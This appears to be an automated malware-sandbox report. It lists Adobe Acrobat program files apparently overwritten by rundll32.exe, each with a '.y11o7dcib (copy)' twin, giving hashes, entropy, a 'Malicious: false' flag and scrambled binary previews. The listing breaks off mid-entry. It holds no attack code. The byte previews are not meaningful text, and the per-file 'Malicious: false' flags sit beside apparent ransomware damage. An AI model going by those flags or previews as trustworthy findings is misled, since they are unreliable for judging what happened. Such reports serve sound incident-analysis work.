File Type:	data
Category:	dropped
Size (bytes):	653074
Entropy (8bit):	6.1807601992067145
Encrypted:	false
SSDEEP:	6144:mk27ASKhtprEf4TmPNHY6abDl3cx5GttDHd9VrFbZtZazF30hyyxqZz8BlPNcvKJ:j27ASKjprEQTmPNHYTbDZe5GnP8awyv
MD5:	8CABAE0AE76EF59C50E5BD02051E4CF6
SHA1:	95A5A02E8DA8A0D951D30EB51CD1FE4B476F8FE1
SHA-256:	45153F273172F0C8D93F9D9947B49A7FC2E694C3E73468E5A2249DC13658252D
SHA-512:	5BBFF11CC646C2368836549D400EBB3BE755D9883B737FAE38FD4317514A6B51B612875031191D5A760B67E8ADF835AC8A381853E62FEC237D8E99401A147478
Malicious:	false
Preview:	.W..s.xX.8.\|H.....q.....}.>.p..;4Pe..A..!.....q...5iVw...uP\|_........!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.FM9..G..;.;.....4.......<....B.s.QF...Iv.$..q...5iVw...uQ\|_PE..d......d.........."......6.....................@..........................................`...................................X..s.\|X.8g.H........F.t.VEp..24.\..AB.!2....q..Q7iV.....Q\|_....................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P...^..I.\|X.8g.H.s...1...h..._.p...;4P...A..!.%...q...5iVw...5Q\|..pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..D...........................@..B..........X..s.\|X.8g.H.s...q...F.}.>.p..;4Pe..A..!.....q...5iVw...uQ\|_..................................................................................................................................X..s.\|X.8g.H.s...q...F.}.>.p..;4Pe..

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADNotificationManager.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	653074
Entropy (8bit):	6.1807601992067145
Encrypted:	false
SSDEEP:	6144:mk27ASKhtprEf4TmPNHY6abDl3cx5GttDHd9VrFbZtZazF30hyyxqZz8BlPNcvKJ:j27ASKjprEQTmPNHYTbDZe5GnP8awyv
MD5:	8CABAE0AE76EF59C50E5BD02051E4CF6
SHA1:	95A5A02E8DA8A0D951D30EB51CD1FE4B476F8FE1
SHA-256:	45153F273172F0C8D93F9D9947B49A7FC2E694C3E73468E5A2249DC13658252D
SHA-512:	5BBFF11CC646C2368836549D400EBB3BE755D9883B737FAE38FD4317514A6B51B612875031191D5A760B67E8ADF835AC8A381853E62FEC237D8E99401A147478
Malicious:	false
Preview:	.W..s.xX.8.\|H.....q.....}.>.p..;4Pe..A..!.....q...5iVw...uP\|_........!..L.!This program cannot be run in DOS mode....$........U...4.F.4.F.4.F.LEF.4.FE@.G.4.FE@.G.4.FE@.G.4.FE@.G.4.F._.G.4.FM9..G..;.;.....4.......<....B.s.QF...Iv.$..q...5iVw...uQ\|_PE..d......d.........."......6.....................@..........................................`...................................X..s.\|X.8g.H........F.t.VEp..24.\..AB.!2....q..Q7iV.....Q\|_....................(...P...8............P...............................text....4.......6.................. ..`.rdata..>....P...^..I.\|X.8g.H.s...1...h..._.p...;4P...A..!.%...q...5iVw...5Q\|..pdata...9.......:..................@..@.rsrc...h....P......................@..@.reloc..D...........................@..B..........X..s.\|X.8g.H.s...q...F.}.>.p..;4Pe..A..!.....q...5iVw...uQ\|_..................................................................................................................................X..s.\|X.8g.H.s...q...F.}.>.p..;4Pe..

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	339218
Entropy (8bit):	6.200872652043033
Encrypted:	false
SSDEEP:	6144:0NuYZitK2j/7Fjq23qRHKH9INoogH46apUkLT/NSXkd63j5cgbwzwOCFv9Q/:GOthXdq+k2EzwOIvC
MD5:	83B694A0D6961C0AD6E1515CF5994572
SHA1:	CAEA249BE70D0EF02577F194FF949D6E662FC042
SHA-256:	9297FAB71C96389B470115E9A70A5CC1876679772AF2B21C0DF8F0AD6A02BB71
SHA-512:	7A52964FE3A1D6D43DD6B5BCC4AC8C29139ACC5446F3331109D3CFB73E308706CFCE4B5BF89523E1168B38AEEA6F3F3DCF40322348D76B2FCF0D6BBF2A857F74
Malicious:	false
Preview:	...ZF...J..(...4...L.1.._WL....~..(.3.]?.s.-..@..0..DPN..T..........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|.h..E.Q..."..ii......M...+W.U.....""..D.,.W....z.M$s<.....&.%...9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@.............................`.......;..[F.-.J...4......L.1..OWL....n..(.3.]?.s.-..@..0....J..T...@..........4........)...P..T......T.......................(...@...8............`...............................text....G......C...YB...J...4.....%L.Q.l;68.......(.2.]..s.a..@..0..DPN.~U...data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc.......Y....@..........L.1.._W.......G.3..<.s.}..@..0...DPN.>U......@..B........................................................................................................................C...YF...J...4......L.1.._WL....~..(.3.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ADelRCP.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	339218
Entropy (8bit):	6.200872652043033
Encrypted:	false
SSDEEP:	6144:0NuYZitK2j/7Fjq23qRHKH9INoogH46apUkLT/NSXkd63j5cgbwzwOCFv9Q/:GOthXdq+k2EzwOIvC
MD5:	83B694A0D6961C0AD6E1515CF5994572
SHA1:	CAEA249BE70D0EF02577F194FF949D6E662FC042
SHA-256:	9297FAB71C96389B470115E9A70A5CC1876679772AF2B21C0DF8F0AD6A02BB71
SHA-512:	7A52964FE3A1D6D43DD6B5BCC4AC8C29139ACC5446F3331109D3CFB73E308706CFCE4B5BF89523E1168B38AEEA6F3F3DCF40322348D76B2FCF0D6BBF2A857F74
Malicious:	false
Preview:	...ZF...J..(...4...L.1.._WL....~..(.3.]?.s.-..@..0..DPN..T..........!..L.!This program cannot be run in DOS mode....$.......]../...\|...\|...\|B..}...\|B..}...\|...}...\|..S\|...\|..}=..\|..}...\|.h..E.Q..."..ii......M...+W.U.....""..D.,.W....z.M$s<.....&.%...9\|...\|..}...\|Rich...\|................PE..d......d.........."......H...........&.........@.............................`.......;..[F.-.J...4......L.1..OWL....n..(.3.]?.s.-..@..0....J..T...@..........4........)...P..T......T.......................(...@...8............`...............................text....G......C...YB...J...4.....%L.Q.l;68.......(.2.]..s.a..@..0..DPN.~U...data...............................@....pdata..4...........................@..@.CRT....@....0......................@..@.rsrc.......Y....@..........L.1.._W.......G.3..<.s.}..@..0...DPN.>U......@..B........................................................................................................................C...YF...J...4......L.1.._WL....~..(.3.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AGM.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7146770
Entropy (8bit):	7.208349842156911
Encrypted:	false
SSDEEP:	98304:msl0Bf7Gv3gkTkcNxH9B0EHk6P8iTzQyLOJZWwbDRsc/DMQTJzDk7Ot3nVuxDrI5:B0BcQkTN9iEHk5iTRLOJpsaB5
MD5:	6B005B1B8EABE16BFFE5B5C992388D2D
SHA1:	CA53C7434EB438F5818D7598585F12890BE33164
SHA-256:	BC9F696273F73AD79DCC7EA3453A6DFD6E1F71A6F26D48E92ADB302D24DAC7ED
SHA-512:	938A7962ACD97BEAA238075DD82623F2D0FEDE99DA18F1744A02FFAD102F33F63A07107A71193B1C861A0407176F24946261E9BF0DC6A87F12CAEC5EE3DE626B
Malicious:	false
Preview:	f..k....m.(.Y.@.F.N..L.W/.oE.n.....`..m..........x...oP.O-1........!..L.!This program cannot be run in DOS mode....$.......&..Ub.b.b.b.b.b.k...p.b....`.b...f.j.b...a.f.b...c.d.b...g.u.b.]\|.l.X....m....F....\|*.J..H....h....Mj..~.I.....3...y..e..W..O7Richb.b.........................PE..d...{..d.........." ......K..H$.......H........@.............................0p......Zm...`A+.dk....}.(...@ F.N..L.G/.oE.n...>.`..O...........x...P.H-1. l.......l..)...Po.....xSY.T....................TY.(...@RY.8.............K.....d.e.`....................text....K.......K.....+.tk....m.(-.. .4..:..LU.6.o..n.d..t+..m...........x...$.N-1.....pe......\e.............@....pdata....... l.......h.............@..@.didat.......0o.......k.............@....rsrc...@....@o.+.tk.....m.(...@ F......%J..&.n...................x...oP.N-s................................................................................................................................+.tk....m.(...@ F.N..L.W/.oE.n.....`.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AGM.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7146770
Entropy (8bit):	7.208349842156911
Encrypted:	false
SSDEEP:	98304:msl0Bf7Gv3gkTkcNxH9B0EHk6P8iTzQyLOJZWwbDRsc/DMQTJzDk7Ot3nVuxDrI5:B0BcQkTN9iEHk5iTRLOJpsaB5
MD5:	6B005B1B8EABE16BFFE5B5C992388D2D
SHA1:	CA53C7434EB438F5818D7598585F12890BE33164
SHA-256:	BC9F696273F73AD79DCC7EA3453A6DFD6E1F71A6F26D48E92ADB302D24DAC7ED
SHA-512:	938A7962ACD97BEAA238075DD82623F2D0FEDE99DA18F1744A02FFAD102F33F63A07107A71193B1C861A0407176F24946261E9BF0DC6A87F12CAEC5EE3DE626B
Malicious:	false
Preview:	f..k....m.(.Y.@.F.N..L.W/.oE.n.....`..m..........x...oP.O-1........!..L.!This program cannot be run in DOS mode....$.......&..Ub.b.b.b.b.b.k...p.b....`.b...f.j.b...a.f.b...c.d.b...g.u.b.]\|.l.X....m....F....\|*.J..H....h....Mj..~.I.....3...y..e..W..O7Richb.b.........................PE..d...{..d.........." ......K..H$.......H........@.............................0p......Zm...`A+.dk....}.(...@ F.N..L.G/.oE.n...>.`..O...........x...P.H-1. l.......l..)...Po.....xSY.T....................TY.(...@RY.8.............K.....d.e.`....................text....K.......K.....+.tk....m.(-.. .4..:..LU.6.o..n.d..t+..m...........x...$.N-1.....pe......\e.............@....pdata....... l.......h.............@..@.didat.......0o.......k.............@....rsrc...@....@o.+.tk.....m.(...@ F......%J..&.n...................x...oP.N-s................................................................................................................................+.tk....m.(...@ F.N..L.W/.oE.n.....`.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AGMGPUOptIn.ini

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	7.608670744400567
Encrypted:	false
SSDEEP:	48:VwtOzE/vsBTszRW5lwhQPqceaogbfZBlmbgbp2R2HvPu18JS:VfVJgQvwCCceapRK+p2R2MeS
MD5:	67A467ED35C48E8F93571E513351E58E
SHA1:	C93CADF8EEDE2AA86EF06B756EFBF8703C38F40D
SHA-256:	02BDE4FD683BFA6CF54EBE7659B04FAA0D3A8133B8E1A5108DFBCEF7FFDE47D3
SHA-512:	9BDC01A9EAABF8D3EF228F161507B8E27ED950D01F3135E8ED340476BEFFEB800379D5F3F1E39E9FAF661F95577975E81EF97E42DDA0AEA25FDF560009BA0038
Malicious:	false
Preview:	G.q.LO.3u.2......3.t........qU\|H{G.....\|..N..6..=.E...%..bg..6.+.u,..u..a.......y.-.V>..W.i..>8.....z..a..~..:QG...q..m-......M.g)..S......o...\|....U....r(......0.J....wI....p..{..!.(.LO..&..2.......(.4.Jx....q"Ht-..{.g....q-.i.G......<)...O.T...e..7........3.I.M2.U.=]G>q\.S..x..^.....l.&...i..... .K.:..3u.:........=.r.....5.;PQ.@k.f.^\|..Q.K~..a.O......65..]...L8.5p..Z......E.8..~.].q..&mV....F ...M{...}%...5..Q2..C.K..G..,..w......3.}..a...V.H=!.]h._..(/....Kv..oQ....$..i....+..J.F...G........t..~.....i..&...G.^.....>....~$..C..ka..K.C.L..g0..4.......y.d.v....6.=h{!d......t..[..;..o.Y...5..md..J.H.u'.Q...~..........t..2.....iSEl\|W._...y..j.)...%.z...y..k`..A...YM.u$..P........t....$.4 CO.I.....}.....:..4I...........C.L..O.3u..2..........t..~.....?..#.G.l.n....:....QG...y...a..2.B.qr.q9.2.......&.).O)...'.A,%.8i.g.l0....K~..i.G....Q#..C.K..O..$..0.......b...y....7.=UAt(..f......w.vD..i.G...y.:%.....L>.Oh../..........s..~...U.=T2s.1._.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AGMGPUOptIn.ini.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2041
Entropy (8bit):	7.608670744400567
Encrypted:	false
SSDEEP:	48:VwtOzE/vsBTszRW5lwhQPqceaogbfZBlmbgbp2R2HvPu18JS:VfVJgQvwCCceapRK+p2R2MeS
MD5:	67A467ED35C48E8F93571E513351E58E
SHA1:	C93CADF8EEDE2AA86EF06B756EFBF8703C38F40D
SHA-256:	02BDE4FD683BFA6CF54EBE7659B04FAA0D3A8133B8E1A5108DFBCEF7FFDE47D3
SHA-512:	9BDC01A9EAABF8D3EF228F161507B8E27ED950D01F3135E8ED340476BEFFEB800379D5F3F1E39E9FAF661F95577975E81EF97E42DDA0AEA25FDF560009BA0038
Malicious:	false
Preview:	G.q.LO.3u.2......3.t........qU\|H{G.....\|..N..6..=.E...%..bg..6.+.u,..u..a.......y.-.V>..W.i..>8.....z..a..~..:QG...q..m-......M.g)..S......o...\|....U....r(......0.J....wI....p..{..!.(.LO..&..2.......(.4.Jx....q"Ht-..{.g....q-.i.G......<)...O.T...e..7........3.I.M2.U.=]G>q\.S..x..^.....l.&...i..... .K.:..3u.:........=.r.....5.;PQ.@k.f.^\|..Q.K~..a.O......65..]...L8.5p..Z......E.8..~.].q..&mV....F ...M{...}%...5..Q2..C.K..G..,..w......3.}..a...V.H=!.]h._..(/....Kv..oQ....$..i....+..J.F...G........t..~.....i..&...G.^.....>....~$..C..ka..K.C.L..g0..4.......y.d.v....6.=h{!d......t..[..;..o.Y...5..md..J.H.u'.Q...~..........t..2.....iSEl\|W._...y..j.)...%.z...y..k`..A...YM.u$..P........t....$.4 CO.I.....}.....:..4I...........C.L..O.3u..2..........t..~.....?..#.G.l.n....:....QG...y...a..2.B.qr.q9.2.......&.).O)...'.A,%.8i.g.l0....K~..i.G....Q#..C.K..O..$..0.......b...y....7.=UAt(..f......w.vD..i.G...y.:%.....L>.Oh../..........s..~...U.=T2s.1._.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AIDE.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9668362
Entropy (8bit):	7.441471723785047
Encrypted:	false
SSDEEP:	196608:mm8pa2h4/D4IDGKZPuc8DozCn7WzKf8A78Cr7a8lXhvFI8A24oK8xEL56P8Nw8Fl:apa2hHITPubDozCn7WzKfz7Zr7ayXhvg
MD5:	14DFB82D5A1C40ED95866CDCBB5DECCB
SHA1:	6840D6E234247235DB908CAD3012A4B7558C90F1
SHA-256:	DD4BA548FAC41BCCBBBAA8314F18EDECE7A93E925AE90BB1822337AA5DCFD63F
SHA-512:	F9FD8185E03AF10D88F6BC934E226B4B096A84C4C8F3048FF9E71B203D6447009562ADE0DBBC99552F7C7D1DF72DD644F3D10F2259D44266C7D72C15F56C6B9C
Malicious:	false
Preview:	.`.7.U.uk.]E6.).e..............[El\|g..5..t.&..a3...BS.?...7d1Mc.........!..L.!This program cannot be run in DOS mode....$........z............c^.....c0.....c.....c.....c.....c....X!..%NJ......`.M'..F...1...&4.<....x.....M.h....g.k......W.'yb....yb2......Z....yb....Rich...........PE..d....[.d.........." ......S..TE..... '+......................................Z.7.Q.ue].E.zI...o.....W......[Ellg..5..d.&..a3...BC.?..~.dAoc.....@....................\...)......`D......T.......................(...@...@.............S..............................text.....d7.E.uo..E.~).........W......;k....z5..@.&..23..BS.l...7d.Lc.....@..@.data... .... ......................@....pdata..............................@..@.rsrc...............................@..@.HR[.6.u..]E.j........W......[El\|g..5..t.&..a3...BS.?...7d.Lc..................................................................................................................................:77.U.uo.]E.z).........W......[El\|g..5.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AIDE.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	9668362
Entropy (8bit):	7.441471723785047
Encrypted:	false
SSDEEP:	196608:mm8pa2h4/D4IDGKZPuc8DozCn7WzKf8A78Cr7a8lXhvFI8A24oK8xEL56P8Nw8Fl:apa2hHITPubDozCn7WzKfz7Zr7ayXhvg
MD5:	14DFB82D5A1C40ED95866CDCBB5DECCB
SHA1:	6840D6E234247235DB908CAD3012A4B7558C90F1
SHA-256:	DD4BA548FAC41BCCBBBAA8314F18EDECE7A93E925AE90BB1822337AA5DCFD63F
SHA-512:	F9FD8185E03AF10D88F6BC934E226B4B096A84C4C8F3048FF9E71B203D6447009562ADE0DBBC99552F7C7D1DF72DD644F3D10F2259D44266C7D72C15F56C6B9C
Malicious:	false
Preview:	.`.7.U.uk.]E6.).e..............[El\|g..5..t.&..a3...BS.?...7d1Mc.........!..L.!This program cannot be run in DOS mode....$........z............c^.....c0.....c.....c.....c.....c....X!..%NJ......`.M'..F...1...&4.<....x.....M.h....g.k......W.'yb....yb2......Z....yb....Rich...........PE..d....[.d.........." ......S..TE..... '+......................................Z.7.Q.ue].E.zI...o.....W......[Ellg..5..d.&..a3...BC.?..~.dAoc.....@....................\...)......`D......T.......................(...@...@.............S..............................text.....d7.E.uo..E.~).........W......;k....z5..@.&..23..BS.l...7d.Lc.....@..@.data... .... ......................@....pdata..............................@..@.rsrc...............................@..@.HR[.6.u..]E.j........W......[El\|g..5..t.&..a3...BS.?...7d.Lc..................................................................................................................................:77.U.uo.]E.z).........W......[El\|g..5.

C:\Program Files\Adobe\Acrobat DC\Acrobat\ANCUtility.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	121314
Entropy (8bit):	6.789791591627042
Encrypted:	false
SSDEEP:	3072:zctpbeJEstTjSeC7AS25AxyD9FsW9zvJM0biid94:zyaBtm7AS2vD9FsWNaej6
MD5:	9AB04D0B264422346D4A006B3A7028F4
SHA1:	D1AFCC5E8174A55BFDE9F56C872BC0D67B2F6190
SHA-256:	2675E689ABB6C4D18322ADE0407373821F73845CE64EDD014524640F42F66670
SHA-512:	6111E9299418DDAFB402CDDA16EC1FCDEB3BBD642CBB3A1D77FEA4299D486178D7680B7366EAA848C4170F9463B5178BD3ABFBCE49094521578E312E5FDEE59C
Malicious:	false
Preview:	..]..B...+.J5XR.S..)%.iDN._^&...6..3.O-{.../X.<Lyro.D=....R8.H)D........!..L.!This program cannot be run in DOS mode....$..........S...S...S...Z.s.A......[......Q......[......F.....'.X....,j...N.._.....A..."...{..p..s.pC.....E...o....4....e.......RichS...................PE..d...Uk.`.........." ................................................................/.....`A.........[...B...+.J.R....)%.iD.._^6...f.37O-{.p./@.<Ly.n..9....S8.Y)D....................p...............................................0............................text...V........................K...B..Y.+..R.gx.)%yiD._^&...6..3.O-{.../..<.W...%=....R8..(D.&...x..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc...................K...B...+.J..R....)%.iD.._^&...6..3.O-{.../X.<Lyro.D=....R8.I)D.................................................................................................................................K...B...+.J.R....)%.iD.._^&...6..3.O-{

C:\Program Files\Adobe\Acrobat DC\Acrobat\ANCUtility.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	121314
Entropy (8bit):	6.789791591627042
Encrypted:	false
SSDEEP:	3072:zctpbeJEstTjSeC7AS25AxyD9FsW9zvJM0biid94:zyaBtm7AS2vD9FsWNaej6
MD5:	9AB04D0B264422346D4A006B3A7028F4
SHA1:	D1AFCC5E8174A55BFDE9F56C872BC0D67B2F6190
SHA-256:	2675E689ABB6C4D18322ADE0407373821F73845CE64EDD014524640F42F66670
SHA-512:	6111E9299418DDAFB402CDDA16EC1FCDEB3BBD642CBB3A1D77FEA4299D486178D7680B7366EAA848C4170F9463B5178BD3ABFBCE49094521578E312E5FDEE59C
Malicious:	false
Preview:	..]..B...+.J5XR.S..)%.iDN._^&...6..3.O-{.../X.<Lyro.D=....R8.H)D........!..L.!This program cannot be run in DOS mode....$..........S...S...S...Z.s.A......[......Q......[......F.....'.X....,j...N.._.....A..."...{..p..s.pC.....E...o....4....e.......RichS...................PE..d...Uk.`.........." ................................................................/.....`A.........[...B...+.J.R....)%.iD.._^6...f.37O-{.p./@.<Ly.n..9....S8.Y)D....................p...............................................0............................text...V........................K...B..Y.+..R.gx.)%yiD._^&...6..3.O-{.../..<.W...%=....R8..(D.&...x..............@....pdata..D...........................@..@.rsrc...............................@..@.reloc...................K...B...+.J..R....)%.iD.._^&...6..3.O-{.../X.<Lyro.D=....R8.I)D.................................................................................................................................K...B...+.J.R....)%.iD.._^&...6..3.O-{

C:\Program Files\Adobe\Acrobat DC\Acrobat\AXE8SharedExpat.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	169226
Entropy (8bit):	7.1357000807332405
Encrypted:	false
SSDEEP:	3072:8CfA7rKC8nHmQ1Om13zxStqGboYvwad0mI8TYluiR/EvTYCbGC/0SSEUs:86DGQVzStqGVINzC/0hs
MD5:	BAFAB06F9CFE424420BD574F9900E927
SHA1:	9400799B2B91F141D966B86BE3C1CEBB7FEB6CA0
SHA-256:	01CF55511970B28B304E70A2B39BEAA41A8A8AD7F9DA4DEE8E017D70DBD5E1FB
SHA-512:	D5AB494C253CBE4357E5D31CCB94B1AE9B0032AF627A5B904F55A4FD5BAF4257CF2CDFCC94CEF7D4DD1D8F02EF01A1AC70A9CB83279E64D1C23A2DDB07E8A979
Malicious:	false
Preview:	V..%.Im.q.2....r1\|.7......5(......^.-.;-m.......n.F(}v.\............!..L.!This program cannot be run in DOS mode....$.............^..^..^.(^..^..._..^..._..^..._..^..._..^.._..^.....K.3P.Pm.N..R.....1!...}.Bq....s/..3.QN.K.N1j..#$.?..et.................PE..d......c.........." ................`.....................................................`A.................YH.&.Im.a.2.n...1\|.'........(.....^.-../m.......naH(}v.^.............0>..T............................<..@............................................text...z........................... ..`5+<.R.Im...2.....M\|.7......5(.....[^.m._L.h...J..n.&*}v.\.................@....pdata...............N..............@..@.rsrc................^..............@..@.reloc...............f...........YX.f.I/.q.2.n...1\|.7.......5(......^.-.;-m.......n.F(}v.\.....................................................................................................................................YX.&.Im.q.2.n...1\|.7.......5(......^.-

C:\Program Files\Adobe\Acrobat DC\Acrobat\AXE8SharedExpat.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	169226
Entropy (8bit):	7.1357000807332405
Encrypted:	false
SSDEEP:	3072:8CfA7rKC8nHmQ1Om13zxStqGboYvwad0mI8TYluiR/EvTYCbGC/0SSEUs:86DGQVzStqGVINzC/0hs
MD5:	BAFAB06F9CFE424420BD574F9900E927
SHA1:	9400799B2B91F141D966B86BE3C1CEBB7FEB6CA0
SHA-256:	01CF55511970B28B304E70A2B39BEAA41A8A8AD7F9DA4DEE8E017D70DBD5E1FB
SHA-512:	D5AB494C253CBE4357E5D31CCB94B1AE9B0032AF627A5B904F55A4FD5BAF4257CF2CDFCC94CEF7D4DD1D8F02EF01A1AC70A9CB83279E64D1C23A2DDB07E8A979
Malicious:	false
Preview:	V..%.Im.q.2....r1\|.7......5(......^.-.;-m.......n.F(}v.\............!..L.!This program cannot be run in DOS mode....$.............^..^..^.(^..^..._..^..._..^..._..^..._..^.._..^.....K.3P.Pm.N..R.....1!...}.Bq....s/..3.QN.K.N1j..#$.?..et.................PE..d......c.........." ................`.....................................................`A.................YH.&.Im.a.2.n...1\|.'........(.....^.-../m.......naH(}v.^.............0>..T............................<..@............................................text...z........................... ..`5+<.R.Im...2.....M\|.7......5(.....[^.m._L.h...J..n.&*}v.\.................@....pdata...............N..............@..@.rsrc................^..............@..@.reloc...............f...........YX.f.I/.q.2.n...1\|.7.......5(......^.-.;-m.......n.F(}v.\.....................................................................................................................................YX.&.Im.q.2.n...1\|.7.......5(......^.-

C:\Program Files\Adobe\Acrobat DC\Acrobat\AXSLE.dll

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	673034
Entropy (8bit):	7.097660804370923
Encrypted:	false
SSDEEP:	12288:Wxc0bJRCjB/aIZBjghd+CX6VUgkJd5W6UDOInFIw:WxvbJRCjB/BZBEhdfX6igEUDSw
MD5:	80EDEFEB6CEBA82D62F4F700C3415368
SHA1:	2C37C3FDCB996D883416CADFFB1AF38E5320668B
SHA-256:	030E2F728965FF7AF3A5EEF27B6090104042CADE0C9E47D55D3DBE964E8B38E4
SHA-512:	235471EFE10C8C7110B7B1410A532AE04D9FE76FAF4E7B827B9FE3759323EB356D9D538575C49BE3EDBBBFEBE7D704873DFA3C8964E95D5C107595B072F645F3
Malicious:	false
Preview:	....Q.........e..v...^(.V3..D..a..X..Q...]..a..ye..a&...t........!..L.!This program cannot be run in DOS mode....$............g.P.g.P.g.P...P.g.P...Q.g.P...Q.g.P...Q.g.P...Q.g.P...Q.g.P5.......#..OX.....%'+.Q.36S........S.?\.q6...:C.L.Q(...3Oa....$................PE..d...>..c.........." .........................................................p.......h....`A.....................Q............v....b.V...D..h..X.....m[..a`.yI...a<..d.t.P.......:..T............................9..@............0...............................text............................... ..`..x...Q.h.........v....(.V3..D..a.PX...5.\|].....ye...ax...t............@....pdata..,^.......`..................@..@.rsrc...p....@......................@..@.reloc.......P........................Q............v....(.V3..D..a..X..Q...]..a..ye..a&....t.....................................................................................................................................Q............v....(.V3..D..a..X.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AXSLE.dll.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	673034
Entropy (8bit):	7.097660804370923
Encrypted:	false
SSDEEP:	12288:Wxc0bJRCjB/aIZBjghd+CX6VUgkJd5W6UDOInFIw:WxvbJRCjB/BZBEhdfX6igEUDSw
MD5:	80EDEFEB6CEBA82D62F4F700C3415368
SHA1:	2C37C3FDCB996D883416CADFFB1AF38E5320668B
SHA-256:	030E2F728965FF7AF3A5EEF27B6090104042CADE0C9E47D55D3DBE964E8B38E4
SHA-512:	235471EFE10C8C7110B7B1410A532AE04D9FE76FAF4E7B827B9FE3759323EB356D9D538575C49BE3EDBBBFEBE7D704873DFA3C8964E95D5C107595B072F645F3
Malicious:	false
Preview:	....Q.........e..v...^(.V3..D..a..X..Q...]..a..ye..a&...t........!..L.!This program cannot be run in DOS mode....$............g.P.g.P.g.P...P.g.P...Q.g.P...Q.g.P...Q.g.P...Q.g.P...Q.g.P5.......#..OX.....%'+.Q.36S........S.?\.q6...:C.L.Q(...3Oa....$................PE..d...>..c.........." .........................................................p.......h....`A.....................Q............v....b.V...D..h..X.....m[..a`.yI...a<..d.t.P.......:..T............................9..@............0...............................text............................... ..`..x...Q.h.........v....(.V3..D..a.PX...5.\|].....ye...ax...t............@....pdata..,^.......`..................@..@.rsrc...p....@......................@..@.reloc.......P........................Q............v....(.V3..D..a..X..Q...]..a..ye..a&....t.....................................................................................................................................Q............v....(.V3..D..a..X.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	343826
Entropy (8bit):	7.085998268664465
Encrypted:	false
SSDEEP:	6144:AcAU0HycvuhHmpS5mAc3fjocCpT6qQ41/6qej73:HAUQyHdmSA3HeTd5/S3
MD5:	71D631EE2D00E74E47AF574F978BEB4F
SHA1:	D4A85EFCA653C391EC5A8A7791D7A4DE83200BCD
SHA-256:	078C2BFA1CAFD897E99CC425EBD7EB3347AC4CE8E468149E2C7D70CF5BCC771C
SHA-512:	9A5457787276E69A6577644408ED9E0296D44BAE7B59B53CDFDD85904ECD9CEFD7581BCDE8069FD750EA1D1A7FEDDA2AFB2094DAB4B063852593E1E68FA2C6E4
Malicious:	false
Preview:	..~d...f..k.D.3M.G./7..036C.k....p...c..1B.L..Q.e.....M.=..z.........!..L.!This program cannot be run in DOS mode....$.........<$.Rw.Rw.Rw...w..Rw5.Vv.Rw5.Qv.Rw5.Sv.Rw7.Sv.Rw..Vv.Rwj..\.V^b.......D......E.a5%...._g?.1q\E}..p.&.....v..0..K}.(t7.w.Rw..w.Rw7.Pv.RwRich.Rw........PE..d......d.........."..........z......@..........@.............................@.......c.e.l.b..k...3..G./7..p3&C.k....p...c..1B.\..Q.e....'..=(.z..............+.......)...0..........T.......................(.......8............................................text..............g...b..k...3..G..7..^AR"......p..`...B.Lf.Q.e.....M.=.zC.data....d...`...\...T..............@....pdata...+.......,..................@..@.rsrc............0..................@..@.reloc..ZG.g...b..k...3..G./7..p36C.k....p...c..1B.L..Q.e.....M.=..z..................................................................................................................................@.*g...b..k...3..G./7..p36C.k....p...c.

C:\Program Files\Adobe\Acrobat DC\Acrobat\AcroBroker.exe.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	343826
Entropy (8bit):	7.085998268664465
Encrypted:	false
SSDEEP:	6144:AcAU0HycvuhHmpS5mAc3fjocCpT6qQ41/6qej73:HAUQyHdmSA3HeTd5/S3
MD5:	71D631EE2D00E74E47AF574F978BEB4F
SHA1:	D4A85EFCA653C391EC5A8A7791D7A4DE83200BCD
SHA-256:	078C2BFA1CAFD897E99CC425EBD7EB3347AC4CE8E468149E2C7D70CF5BCC771C
